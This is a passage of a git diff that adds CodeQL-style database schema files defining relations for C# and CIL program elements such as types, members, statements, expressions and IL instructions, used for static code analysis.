@cil_ldelem_i1 | @cil_ldelem_i2 | @cil_ldelem_i4 | @cil_ldelem_i8 | @cil_ldelem_r4 | + @cil_ldelem_r8 | @cil_ldelem_u1 | @cil_ldelem_u2 | @cil_ldelem_u4; + +@cil_write_array = @cil_stelem | @cil_stelem_ref | + @cil_stelem_i | @cil_stelem_i1 | @cil_stelem_i2 | @cil_stelem_i4 | @cil_stelem_i8 | + @cil_stelem_r4 | @cil_stelem_r8; + +@cil_throw_any = @cil_throw | @cil_rethrow; + +#keyset[impl, index] +cil_instruction( + unique int id: @cil_instruction, + int opcode: int ref, + int index: int ref, + int impl: @cil_method_implementation ref); + +cil_jump( + unique int instruction: @cil_jump ref, + int target: @cil_instruction ref); + +cil_access( + unique int instruction: @cil_instruction ref, + int target: @cil_accessible ref); + +cil_value( + unique int instruction: @cil_literal ref, + string value: string ref); + +#keyset[instruction, index] +cil_switch( + int instruction: @cil_switch ref, + int index: int ref, + int target: @cil_instruction ref); + +cil_instruction_location( + unique int id: @cil_instruction ref, + int loc: @location ref); + +cil_type_location( + int id: @cil_type ref, + int loc: @location ref); + +cil_method_location( + int id: @cil_method ref, + int loc: @location ref); + +@cil_namespace = @namespace; + +@cil_type_container = @cil_type | @cil_namespace | @cil_method; + +case @cil_type.kind of + 0 = @cil_valueorreftype +| 1 = @cil_typeparameter +| 2 = @cil_array_type +| 3 = @cil_pointer_type +; + +cil_type( + unique int id: @cil_type, + string name: string ref, + int kind: int ref, + int parent: @cil_type_container ref, + int sourceDecl: @cil_type ref); + +cil_pointer_type( + unique int id: @cil_pointer_type ref, + int pointee: @cil_type ref); + +cil_array_type( + unique int id: @cil_array_type ref, + int element_type: @cil_type ref, + int rank: int ref); + +cil_method( + unique int id: @cil_method, + string name: string ref, + int parent: @cil_type ref, + int return_type: @cil_type ref); + +cil_method_source_declaration( + unique int method: @cil_method ref, + int source: @cil_method ref); + +cil_method_implementation( + unique int id: @cil_method_implementation, + int method: @cil_method ref, + int location: @assembly ref); + +cil_implements( + int id: @cil_method ref, + int decl: @cil_method ref); + +#keyset[parent, name] +cil_field( + unique int id: @cil_field, + int parent: @cil_type ref, + string name: string ref, + int field_type: @cil_type ref); + +@cil_element = @cil_instruction | @cil_declaration | @cil_handler | @cil_attribute | @cil_namespace; +@cil_named_element = @cil_declaration | @cil_namespace; +@cil_declaration = @cil_variable | @cil_method | @cil_type | @cil_member; +@cil_accessible = @cil_declaration; +@cil_variable = @cil_field | @cil_stack_variable; +@cil_stack_variable = @cil_local_variable | @cil_parameter; +@cil_member = @cil_method | @cil_type | @cil_field | @cil_property | @cil_event; +@cil_custom_modifier_receiver = @cil_method | @cil_property | @cil_parameter | @cil_field; // todo: add function pointer type + +#keyset[method, index] +cil_parameter( + unique int id: @cil_parameter, + int method: @cil_method ref, + int index: int ref, + int param_type: @cil_type ref); + +cil_parameter_in(unique int id: @cil_parameter ref); +cil_parameter_out(unique int id: @cil_parameter ref); + +cil_setter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +#keyset[id, modifier] +cil_custom_modifiers( + int id: @cil_custom_modifier_receiver ref, + int modifier: @cil_type ref, + int kind: int ref); // modreq: 1, modopt: 0 + +cil_getter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_adder(unique int event: @cil_event ref, + int method: @cil_method ref); + +cil_remover(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_raiser(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_property( + unique int id: @cil_property, + int parent: @cil_type ref, + string name: string ref, + int property_type: @cil_type ref); + +#keyset[parent, name] +cil_event(unique int id: @cil_event, + int parent: @cil_type ref, + string name: string ref, + int event_type: @cil_type ref); + +#keyset[impl, index] +cil_local_variable( + unique int id: @cil_local_variable, + int impl: @cil_method_implementation ref, + int index: int ref, + int var_type: @cil_type ref); + +// CIL handlers (exception handlers etc). + +case @cil_handler.kind of + 0 = @cil_catch_handler +| 1 = @cil_filter_handler +| 2 = @cil_finally_handler +| 4 = @cil_fault_handler +; + +#keyset[impl, index] +cil_handler( + unique int id: @cil_handler, + int impl: @cil_method_implementation ref, + int index: int ref, + int kind: int ref, + int try_start: @cil_instruction ref, + int try_end: @cil_instruction ref, + int handler_start: @cil_instruction ref); + +cil_handler_filter( + unique int id: @cil_handler ref, + int filter_start: @cil_instruction ref); + +cil_handler_type( + unique int id: @cil_handler ref, + int catch_type: @cil_type ref); + +@cil_controlflow_node = @cil_entry_point | @cil_instruction; + +@cil_entry_point = @cil_method_implementation | @cil_handler; + +@cil_dataflow_node = @cil_instruction | @cil_variable | @cil_method; + +cil_method_stack_size( + unique int method: @cil_method_implementation ref, + int size: int ref); + +// CIL modifiers + +cil_public(int id: @cil_member ref); +cil_private(int id: @cil_member ref); +cil_protected(int id: @cil_member ref); +cil_internal(int id: @cil_member ref); +cil_static(int id: @cil_member ref); +cil_sealed(int id: @cil_member ref); +cil_virtual(int id: @cil_method ref); +cil_abstract(int id: @cil_member ref); +cil_class(int id: @cil_type ref); +cil_interface(int id: @cil_type ref); +cil_security(int id: @cil_member ref); +cil_requiresecobject(int id: @cil_method ref); +cil_specialname(int id: @cil_method ref); +cil_newslot(int id: @cil_method ref); + +cil_base_class(unique int id: @cil_type ref, int base: @cil_type ref); +cil_base_interface(int id: @cil_type ref, int base: @cil_type ref); +cil_enum_underlying_type(unique int id: @cil_type ref, int underlying: @cil_type ref); + +#keyset[unbound, index] +cil_type_parameter( + int unbound: @cil_member ref, + int index: int ref, + int param: @cil_typeparameter ref); + +#keyset[bound, index] +cil_type_argument( + int bound: @cil_member ref, + int index: int ref, + int t: @cil_type ref); + +// CIL type parameter constraints + +cil_typeparam_covariant(int tp: @cil_typeparameter ref); +cil_typeparam_contravariant(int tp: @cil_typeparameter ref); +cil_typeparam_class(int tp: @cil_typeparameter ref); +cil_typeparam_struct(int tp: @cil_typeparameter ref); +cil_typeparam_new(int tp: @cil_typeparameter ref); +cil_typeparam_constraint(int tp: @cil_typeparameter ref, int supertype: @cil_type ref); + +// CIL attributes + +cil_attribute( + unique int attributeid: @cil_attribute, + int element: @cil_declaration ref, + int constructor: @cil_method ref); + +#keyset[attribute_id, param] +cil_attribute_named_argument( + int attribute_id: @cil_attribute ref, + string param: string ref, + string value: string ref); + +#keyset[attribute_id, index] +cil_attribute_positional_argument( + int attribute_id: @cil_attribute ref, + int index: int ref, + string value: string ref); + + +// Common .Net data model covering both C# and CIL + +// Common elements +@dotnet_element = @element | @cil_element; +@dotnet_named_element = @named_element | @cil_named_element; +@dotnet_callable = @callable | @cil_method; +@dotnet_variable = @variable | @cil_variable; +@dotnet_field = @field | @cil_field; +@dotnet_parameter = @parameter | @cil_parameter; +@dotnet_declaration = @declaration | @cil_declaration; +@dotnet_member = @member | @cil_member; +@dotnet_event = @event | @cil_event; +@dotnet_property = @property | @cil_property | @indexer; + +// Common types +@dotnet_type = @type | @cil_type; +@dotnet_call = @call | @cil_call_any; +@dotnet_throw = @throw_element | @cil_throw_any; +@dotnet_valueorreftype = @cil_valueorreftype | @value_or_ref_type | @cil_array_type | @void_type; +@dotnet_typeparameter = @type_parameter | @cil_typeparameter; +@dotnet_array_type = @array_type | @cil_array_type; +@dotnet_pointer_type = @pointer_type | @cil_pointer_type; +@dotnet_type_parameter = @type_parameter | @cil_typeparameter; +@dotnet_generic = @dotnet_valueorreftype | @dotnet_callable; + +// Attributes +@dotnet_attribute = @attribute | @cil_attribute; + +// Expressions +@dotnet_expr = @expr | @cil_expr; + +// Literals +@dotnet_literal = @literal_expr | @cil_literal; +@dotnet_string_literal = @string_literal_expr | @cil_ldstr; +@dotnet_int_literal = @integer_literal_expr | @cil_ldc_i; +@dotnet_float_literal = @float_literal_expr | @cil_ldc_r; +@dotnet_null_literal = @null_literal_expr | @cil_ldnull; + +@metadata_entity = @cil_method | @cil_type | @cil_field | @cil_property | @field | @property | + @callable | @value_or_ref_type | @void_type; + +#keyset[entity, location] +metadata_handle(int entity : @metadata_entity ref, int location: @assembly ref, int handle: int ref) diff --git a/csharp/upgrades/e6442d16b7e3786d0918597c2c9fbd871ca06f77/semmlecode.csharp.dbscheme b/csharp/upgrades/e6442d16b7e3786d0918597c2c9fbd871ca06f77/semmlecode.csharp.dbscheme new file mode 100644 index 00000000000..5f6770a8a17 --- /dev/null +++ b/csharp/upgrades/e6442d16b7e3786d0918597c2c9fbd871ca06f77/semmlecode.csharp.dbscheme @@ -0,0 +1,1917 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | --cil + * 3 | f1.cs + * 4 | f2.cs + * 5 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location_default ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +compilation_assembly( + unique int id : @compilation ref, + int assembly: @assembly ref +) + +/* + * External artifacts + */ + +externalDefects( + unique int id: @externalDefect, + string queryPath: string ref, + int location: @location ref, + string message: string ref, + float severity: float ref); + +externalMetrics( + unique int id: @externalMetric, + string queryPath: string ref, + int location: @location ref, + float value: float ref); + +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +snapshotDate( + unique date snapshotDate: date ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Duplicate code + */ + +duplicateCode( + unique int id: @duplication, + string relativePath: string ref, + int equivClass: int ref); + +similarCode( + unique int id: @similarity, + string relativePath: string ref, + int equivClass: int ref); + +@duplication_or_similarity = @duplication | @similarity + +tokens( + int id: @duplication_or_similarity ref, + int offset: int ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @external_element + | @xmllocatable | @asp_element | @namespace; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@external_element = @externalMetric | @externalDefect | @externalDataElement; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files( + unique int id: @file, + string name: string ref, + string simple: string ref, + string ext: string ref, + int fromSource: int ref); + +folders( + unique int id: @folder, + string name: string ref, + string simple: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +extend( + unique int sub: @type ref, + int super: @type_or_ref ref); + +anonymous_types( + unique int id: @type ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +compiler_generated(unique int id: @modifiable_direct ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, array = 3, this = 4 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +/* C# 9.0 */ +| 126 = @not_pattern_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; +@unary_pattern_expr = @not_pattern_expr; + 